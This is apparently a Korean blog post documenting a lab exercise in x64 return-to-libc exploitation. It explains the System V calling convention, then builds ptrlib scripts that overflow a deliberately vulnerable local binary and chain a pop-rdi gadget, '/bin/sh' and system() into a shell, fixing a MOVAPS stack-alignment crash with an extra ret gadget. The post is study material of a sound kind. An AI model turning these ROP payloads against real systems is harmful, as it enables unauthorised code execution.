ret2libc-x64

  • RTL(return-to-libc)
    • RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식
      • NX-Bit(DEP) 우회 가능

Calling Convention

System V AMD64 ABI

  • Solaris, Linux, 에서 사용하는 함수 호출 규약
    • UNIX계열 운영체제의 표준
  • 특징
    • 레지스터 rdi, rsi, rdx, rcx, r8 및 r9는 정수 및 메모리 주소 인수가 전달됨
    • 레지스터 XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 및 XMM7은 부동 소수점 인수가 전달됨
  • 인자 전달 방법
    • rdi, rsi, rdx, rcx, r8, r9, XMM0-7
      • 오른쪽에서 왼쪽의 순서로 레지스터에 저장
  • 함수 반환값
    • eax
  • stack 정리
    • 호출한 함수가 호출된 함수의 stack 공간을 정리

practice code

//gcc -o test test.c
#include <stdlib.h>
#include <stdio.h>

void vuln(int a, int b, int c, int d){
    printf("%d, %d, %d, %d", a, b, c, d);
}

void main(){
    vuln(1,2,3,4);
}

다음과 같이 인자를 rdi, rsi, rdx, rcx에 옮기는것을 확인할 수 있다.

실제로 함수 호출직전에 bp를 걸고 레지스터를 확인해보면 각각 알맞은 값이 들어있는것을 확인 가능

그 후 printf()의 인자(%d)를 위해 레지스터를 다시 정리하는 모습을 볼 수 있다.

와중에 반환값으로 사용될 eax 레지스터도 상황에 따라서는 값을 옮기기 위해서 사용되는 것 같다.

printf()를 호출하기전 레지스터이다.

각각 rdi,rsi,rdx 에 있던 0x1,0x2,0x3의 값들이 한칸씩 rsi,rdx,rcx로 밀리고 rdi에는 %d인자가 있는것을 확인할 수 있다.

0x4인자는 r8레지스터로 쫒겨났다.


ret2libc

  • ret2libc structure

gadget(pop rdi; ret) - argv1 - function


example code

//출처 lazenca.net
//gcc -fno-stack-protector -o r2l r2l.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = '';
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("printf() address : %p\n", printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}
  • buf 크기 50byte
  • read함수로 100byte입력
  • BOF 터짐

buf 위치 rbp-0x40

libc 시작 주소 0x7ffff7dbc000

system() = 0x7ffff7e11410

system() 상대 주소

printf() = 0x7ffff7e20e10

printf() 상대 주소

/bin/sh 상대 주소

gadget

from ptrlib import *

p = process('./r2l')

data = p.recvline()

printf_addr = int(data.decode()[-15:], 16)

print(hex(printf_addr))

libc = printf_addr - 0x64e10
system_addr = libc + 0x55410
binsh = libc + 0x1b75aa
gadget = 0x0000555555555293

print(hex(libc))
print(hex(system_addr))
print(hex(binsh))
print(hex(gadget))

payload = b'A' * (0x40+0x8)
payload += p64(gadget)
payload += p64(binsh)
payload += p64(system_addr)

p.send(payload)

p.interactive(

다음과 같이 페이로드를 짜보았지만 실패했다... 분석을 진행해보니 pop rdi 가젯 주소가 계속 변하여 제대로 실행되지 않았다.

rsp 위치가 엉뚱한데 가있다.

그래서 가젯도 libc를 이용해 상대적으로 구해보기로 하였다.

범위를 libc로 주었더니 무수히 많은 가젯이 나온다.

가젯 상대주소

from ptrlib import *

p = process('./r2l')

data = p.recvline()

printf_addr = int(data.decode()[-15:], 16)

print(hex(printf_addr))

libc = printf_addr - 0x64e10
system_addr = libc + 0x55410
binsh = libc + 0x1b75aa
gadget = libc + 0x26b72

print(hex(libc))
print(hex(system_addr))
print(hex(binsh))
print(hex(gadget))

payload = b'A' * (0x40+0x8)
payload += p64(gadget)
payload += p64(binsh)
payload += p64(system_addr)

p.send(payload)

p.interactive()

다음과 같이 페이로드를 짜보았다.

결과는 그럼에도 실패.... 다시 한번 분석을 해보자.

저번과 같은 이유는 아니었다.

ret상태에서 rsp가 제대로 pop rdi 가젯을 가리키고 있었다.

더 진행했을 때 rdi 레지스터에는 제대로 "/bin/sh"문자열이 들어갔으며 ret 상태에서 rsp는 libc_system을 제대로 가리키고 있었다.

??? 그럼 된거 아닌가? 하고 c(continue)를 하니 SIGSEGV가 난다.... 왜지...?

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 플래그에서 이런 문구를 출력해줘서 찾아보려 한다.... ㅠㅠ 왜 안될까

계속 해보면 system.c 안에서 sigsegv가 나는걸 확인할 순 있었는데 도대체 어떻게 해결하는지를 모르겠다 ㅠㅠ...

 

ropemporium.com/guide.html => 이 이슈와 관련되 있을라나..?


ROP MOVAPS issue

위에 beginner's guide와 www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/ 이 주소에 들어가면 해결방법과 그에 관한 설명이 나와있다.

카네기 멜론 대학

MOVAPS는 잘못 정렬된 ROP가 사용되었을 때 호환성 문제를 일으켜 16바이트가 아닌 데이터에서 작동하려고 할 때 General Protection Exception을 발생시킨다.MOVAPS 명령어는 잘못 배열된 ROP 체인에 대해 호환성 문제를 야기할 수 있습니다.
그것이 16바이트가 아닌 정렬된 데이터를 작동하려고 할 경우에 General Protection Exception을 일으킵니다.
그래서 만약 당신의 ROP 체인이 SEGFAULT를 생성하고 MOVAPS가 원인일 경우 그것은 대부분 부실한 스택일 수 있습니다.

### 번역 LONG_SHOT ㄳㄳ 굽신굽신

위 페이로드를 날렸을 때 system함수의 MOVAPS 코드에서 에러가 발생한걸로 보아 이 글을 읽고 아! 이 부분에서 에러가 났구나 하고 깨닫고 더 읽어보았다.

 

한마디로 정리하면 MOVAPS 코드는 16의 배수가 아닌 데이터에서 에러를 내뿜는다. 스택 포인터는 8의 배수씩 증가하고 감소하니 이 에러가 나왔을 때는 스택 포인터가 16이 아닌 8에 맞춰져 있기 때문에 에러가 난다. 라는 것 같다.

 

그럼 해결 방법으로는 스택 포인터를 8만큼 증가시켜주거나, 감소시켜주면 된다고 예상할 수 있다. 아래 해당 블로그에서 미숙하게나마 번역한 내용을 가지고 와보았다.

Fixing Stack Alignment Issues

sub rsp, 8 또는 add rsp, 8 가젯을 이용하여 스택을 다시 정렬해서 해결할 수 있다. 하지만 이러한 가젯들은 실제 프로그램내에서 자유롭게 사용할 수 없을 수 있기때문에 간단한 해결책은 rbp에 대한 지식과 작동방법을 활용하는 것이다.

  • 32bit 환경
    • 스택에 아무거나 push를 하면 그 결과로 esp가 4만큼 감소함
    • 스택에 아무거나 pop을 하면 그 결과로 esp가 4만큼 증가함
  • 64bit 환경
    • 위랑 다 같은데 8만큼 증가하고 감소함

따라서 아무 가젯이나 하나 찾아서 rop체인 위에 써주면 된다. 64bit환경에서 가장 쓰기 편한건 ret 가젯만 사용하는 것이라고 생각한다.

 

아래는 성공적인 페이로드

from ptrlib import *

p = process('./r2l')

data = p.recvline()

printf_addr = int(data.decode()[-15:], 16)

libc = printf_addr - 0x64e10
system_addr = libc + 0x55410
binsh = libc + 0x1b75aa
gadget = 0x00401273
ret = 0x0040101a

payload = b'A' * (0x40+0x8)
payload += p64(ret)
payload += p64(gadget)
payload += p64(binsh)
payload += p64(system_addr)

p.send(payload)

p.interactive()

 


Reference

lazenca.net/display/TEC/02.RTL%28Return+to+Libc%29+-+x64

 

02.RTL(Return to Libc) - x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List RTL(Return to Libc) RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식입니다.해당 기법을 이용해 NX bit(DEP)�

lazenca.net

ropemporium.com/guide.html

 

Beginners' Guide

Introduction You already know this bit Return-oriented programming (ROP) is a mechanism that can be leveraged to bypass exploit mitigation schemes such as NX/DEP. For some well-meaning and only slightly misguided background on the subject you can check out

ropemporium.com

www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/

 

Stack Alignment, Ubuntu 18.04 & MOVAPS

The three horsemen of the apocalypse...

www.cameronwickes.com